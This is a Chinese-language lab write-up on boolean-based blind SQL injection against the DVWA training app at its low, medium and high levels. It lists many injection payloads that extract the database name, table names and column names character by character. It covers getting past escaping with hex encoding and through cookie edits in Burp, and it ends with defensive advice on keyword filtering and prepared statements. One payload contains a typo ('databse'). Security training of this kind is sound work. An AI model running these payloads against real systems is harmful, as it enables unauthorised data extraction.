SQL盲注与一般注入的区别在于一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示 页面上获取执行的结果,甚至连注入语句是否执行都无法得知。
盲注的话,就像跟一个机器人聊天,但是这个机器人只会回答“是”与“不是”,因此,得从一个大的范围去问是与不是,然后慢慢的缩小范围,最后就是类似于问“数据库名字的第一个字是不是a啊”这样的问题,通过这种机械的询问,最终得到我们想要的数据。
盲注分为:基于布尔的盲注、基于时间的盲注、基于报错的盲注
盲注的一般步骤
判断是否存在注入、注入是字符型还是数字型
猜解当前数据库名
猜解数据库中的表名
猜解表中的字段名
猜解数据
基于布尔的盲注:
3.1 low level
(1)输入1’ and 1=1#显示存在,输入1’ and 1=2#显示不存在,说明存在字符型的SQL盲注
(2)猜解当前的数据库名,因为截图都是一样的,我就不发截图了
输入1' and length(database())=1 # 显示不存在
输入1' and length(database())=3 #,显示不存在
输入1' and length(database())=4 #,显示存在
说明数据库名的长度为4
采用二分法猜解数据库名
输入语句 1’ and ascii(substr(databse(),1,1))>97 # 后面97是a的ascii值,z的ASCII值为122,所以我们查询是否大于或者小于中间的那个数,显示存在则成立,以此类推,从而得到最终的那个数
1' and ascii(substr(database(),1,1))<109 # 显示存在
1' and ascii(substr(database(),1,1))<103 # 显示存在
1' and ascii(substr(database(),1,1))<100 # 显示不存在
1' and ascii(substr(database(),1,1))<101 # 显示存在
1' and ascii(substr(database(),1,1))=100 # 显示存在
因此,我们用这样方法知道数据库的第一个字符的ascii值为100,即对应d,依次类推重复步骤,可得到完整的数据库名是:dvwa
(3)猜解数据库中的表名
首先猜解表数量
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显示存在
得出数据库中共有两个表
然后依次猜解表名,猜解表名跟猜解库名的方法是一样的,不过使用的是下面这一条语句
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在,说明第一个表名长度为9
再使用二分法猜解表名的一个个字符
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 #
依次重复类推该步骤,即可猜解出两个表名分别为guestbook和users
(4)猜解表中的字段数量,还是跟上面猜解表数量的步骤是一样的,使用下面这条语句
1' and (select count(column_name) from information_schema.columns where table_name='users')=8 #
找到users表中有8个字段
然后就是猜解字段名,使用下面这条语句
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7 #)
说明users表中的第一个字段为7个字符长度
继续采用二分法,即可猜解出所有的字段名
(5)猜解数据
同样使用二分法猜解出来
3.2 Medium level
这个级别的代码对特殊符号进行了转义,同时前端页面设置了下拉选择菜单,能够控制用户的输入。
虽然前端使用了下拉菜单,但是依然可以通过抓包改id参数的方法进行提交恶意构造的查询参数,步骤和方法都是跟low级别的是一样的,不同的是,low级别是在页面操作,而medium 级别的是在burp抓包数据里面修改id参数来实现。而要特别注意的是,这个级别对前端提交的特殊字符进行了转义,但是我们可以通过字符转换为16进制来进行绕过。
0×7573657273为users的16进制
3.3 high level
通过查看high级别的代码,发现利用了cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在SQL查询语句中添加了limit 1,以此来控制只输出一个结果。不过我们可以通过注释符#来注释掉后面的limit 1,从而获得更多的结果。
这使用基于时间的盲注会受到影响,所以使用基布尔的盲注
方法步骤还是跟上面medium级别的一样,通过抓包修改cookie中的参数id即可,不方便的是,每一步都是需要重新抓包修改再发包,过程是比较繁琐的
1.过滤危险字符。例如:采用正则表达式匹配union、sleep、load_file等关键字,如果匹配到,说明正在有人有意或无意的进行攻击试探,从而进行预防,例如退出程序或者直接报错,这个可以在一定的程度上防止SQL注入漏洞
2.使用预编译语句:对sql语句提前进行编译,不要将变量直接拼接,而是使用占位符的方式进行数据库的增删改查
盲注确实要比一般的注入要难很多,因为页面没有直接的结果反馈,所以就更加的繁琐复杂。字符是需要一步一步的去猜解,过程太繁琐了,还累。
substr函数:格式substr(…,a,b) a代表第a个位置,b代表长度,就是从a位置截取b个字符
一些常见的数据库函数:
user():数据库的用户
database():当前数据库名
version():当前使用的数据库的版本
@@datadir:数据库路径
concat():联合数据
load_file():以文本方式读取文件的参数